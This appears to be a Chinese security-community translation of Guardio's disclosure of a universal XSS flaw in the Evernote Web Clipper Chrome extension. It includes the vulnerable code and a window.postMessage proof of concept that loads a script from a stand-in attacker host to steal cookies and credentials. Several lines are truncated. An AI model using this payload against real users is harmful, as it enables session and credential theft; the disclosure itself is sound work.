

Guardio研究人员发现了Evernote Web

Clipper (印象笔记·剪藏) Chrome扩展存在逻辑编码错误漏洞，攻击者利用这些漏洞可以打破隔离机制并以用户的名义执行代码，并对非Evernote域名授予用户敏感信息的

背景

大多数互联网用户并不下载可执行文件或安装专门的软件。除了社交账号、商城和金融数据外，浏览器内直接也能提供一些扩展类的工具，来完成类似的功能。但这对app作

研究人员分析发现了Evernote Web Clipper (印象笔记·剪藏) chrome扩展的漏洞。因为Evernote用户基数庞大，因此该漏洞影响的用户数预计超过470万。与其他扩展漏洞不同的是，该漏洞直接影响第三方服务，而且并不仅限于个人的Evernote账号。

PoC

为了模拟攻击者如何利用该漏洞，Guardio研究人员设计了一个PoC来从潜在受害者处窃取隐私数据。通过将这些步骤串起来，很容易就可以进行攻击。PoC步骤：

- 用户被导航到攻击者的恶意站点（通过社交媒体、邮件、被黑的博客评论等）；
- 恶意站点加载目标站点中隐藏的、合法的iframe tag；
- 漏洞利用是由恶意网站触发的，会导致Evernote的内部基础设施注入攻击者控制的payload到iframe环境。
- 注入的payload是为每个目标网站定制的，可以窃取cookie、凭证、隐私隐私，还可以像用户一样执行动作。



漏洞细节

为了详细了解漏洞的情况，首先需要了解Evernote Web Clipper如何与网站和frame进行交互。

Evernote的代码注入链是从扩展的manifest (manifest.json)开始的，其中BrowserFrameLoader.js

content脚本会被注入到所有页面和frame中。由于注入到frame的敏感性，只有这一个脚本使用了all_frames来减少攻击面。内容脚本的主要的主要目的是作为扩展的C2服

```
{
  "matches": [
    "http://*/*",
    "https://*/*",
    "ftp://*/*"
  ],
  "all_frames": true,
  "js": [
    "BrowserFrameLoader.js"
  ]
}
```

先知社区

对通信信道来说，脚本使用通过postMessage API的Windows消息机制(Windows Messaging)。作为一个小的注入器脚本，它只对少量的消息类型提供handler，其中一个就是installAndSerializeAll命令来注入到第二阶段FrameSerializer.js和执行序handler)的参数作为命令请求消息的payload域。

```
installAllFrameSerializers({
  resourcePath: e,
  target: s
}) {
  return Promise.all([
    this._installScript(this._getBundleUrl(e, "FrameSerializer.js")),
    this._installChildFrameSerializers({
      target: s,
      resourcePath: e
    })
  ])
}
```

先知社区

最后，因为提供有效URL给扩展域名(chrome-extension://...)的_getBundleUrl函数中的逻辑检查和输入检查不当，研究人员发现URL的第一部分可以被handler

```
_getBundleUrl(e, s) {
  if ("string" !== typeof e) return `${e}${s}`;
  throw new Error("No resources path specified!")
}
```

先知社区

黑客利用漏洞利用可以加载黑客远程控制的脚本到其他网站环境，只需要一个交单的window.postMessage命令即可。通过滥用Evernote的注入基础设施，恶意脚本会绕过

```
window.postMessage({
  "type": "EN_request",
  "messageID": "clipper-serializer-1",
  "name": "EN_installAndSerializeAll",
  "data": {
    "target": ".targets",
    "resourcePath": "https://hacker.com/evil.js?q="
  }
})
```



这提供了一个通用XSS注入到黑客控制的网站的所有frame的方法。

修复和建议

Evernote已经发布了补丁和新版本。用户可以复制chrome://extensions/?id=pioclpoplcldbaefihamjohnefbikjilc到Chrome扩展页来检查是否是最新版本，并

<https://guard.io/blog/evernote-universal-xss-vulnerability>

点击收藏 | 0 关注 | 1

[上一篇：MSSQL反弹注入获取数据库信息数据](#) [下一篇：Google V8引擎的CVE-2...](#)

1. 1 条回复



[lorexxar](#) 2019-06-17 10:18:14

既然是翻译就写清楚啊....

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)